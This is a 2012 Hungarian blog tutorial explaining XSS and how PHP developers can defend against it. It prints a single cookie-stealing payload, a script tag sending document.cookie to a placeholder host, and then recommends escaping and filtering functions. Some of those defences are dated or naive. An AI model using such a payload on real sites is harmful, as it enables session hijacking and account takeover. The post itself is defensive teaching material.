NetHq Blog


A rossz legjobb kritikája az, ha megmutatjuk, hogyan kell jobban csinálni.

Weboldal biztonság - XSS

Nightvis, 2012.07.02 18:08
Amikor nem ellenőrzött forrásból származó adatokat jelenítünk meg az oldalon, biztonsági rés nyílik rajta, az ilyen típusú sebezhetőség az XSS. Arra vonatkozóan, hogy mik tartoznak az XSS támadások közé, eltérő vélemények vannak. Ebben a cikkben az egyszerűbb formái kerülnek terítékre.

XSS

Az XSS(Cross Site Scripting) lényege, hogy olyan adatokat viszünk be az oldalra, amiket kiíratáskor a böngésző végrehajtandó kódként értelmez. Ez a legtöbb esetben JavaScriptet jelent, de a dolog HTML elemekkel is működik, amiket károkozásra nem igazán tudunk használni, de adott esetben egy oldal vagy annak egy részének a használatát időlegesen akadályozni tudjuk.

Amennyiben a weboldal nincs megfelelően védve, a XSS segítségével ellophatjuk a felhasználó gépén tárolt, adott domainhez tartozó sütiket. Ennek lényege, hogy a felhasználót átirányítjuk a saját oldalunkra, ahol a link GET paraméterként tartalmazza a sütiket, amiket így menthetünk egy fájlba. A káros kódot elhelyezhetjük egy linkben is, ilyenkor a felhasználónak rá kell kattintania, de hatékonyabb, ha közvetlen kódot viszünk be.

<script>document.location = "http://valami.php?suti=" + document.cookie;</script>


Ilyen jellegű script beszúrására lehetőség van üzenőfalat, fórumot, üzenetküldési lehetőséget tartalmazó weboldalakon, de az e-mail szolgáltatók oldalain is fennáll a veszély. Amennyiben a sütikben tárolják a belépés adatait, a saját sütinket átírva már be is léphetünk más nevében.

Amennyiben feltételezzük, hogy a felhasználó nem próbál meg HTML elemeket megjeleníteni(többnyire ez jellemző), akkor használhatjuk a htmlspecialchars függvényt, amely a veszélyes karaktereket(’, ", <, >, &) a HTML entity megfelelőjükre alakítja át, így a böngésző egyszerű szövegként fogja őket értelmezni.

Bizonyos esetekben azonban, például e-mailek esetén, előfordulhat, hogy a felhasználó ártó szándék nélkül akar megjeleníteni HTML elemeket. Ilyenkor használhatjuk a strip_tags függvényt, ami kiszűri a HTML tageket, azonban paraméterben megadhatjuk, mely tageket hagyja benne, így optimálisan lehet használni. Emellett még érdemes az eventeket is kiszűrni.

A tartalmat kiíratáskor célszerű szűrni, így ha később valamin változtatnánk, a korábban bevitt adatokhoz nem szükséges hozzányúlni. Az sem elvetendő ötlet, hogy írunk egy saját függvényt, ami kombinálja a htmlspecialchars és a korábban tárgyalt mysql_real_escape_string függvényt, valamint az str_ireplace függvénnyel lecseréljük az esetleges <script> tageket. Az így létrehozott függvényt kisebb módosításokkal mind beszúrásnál, mind kiíratásnál fel tudjuk használni, növelve az oldalunk biztonságát, valamint egyszerűsítve annak kódját.

Tartalom közösségi megosztása: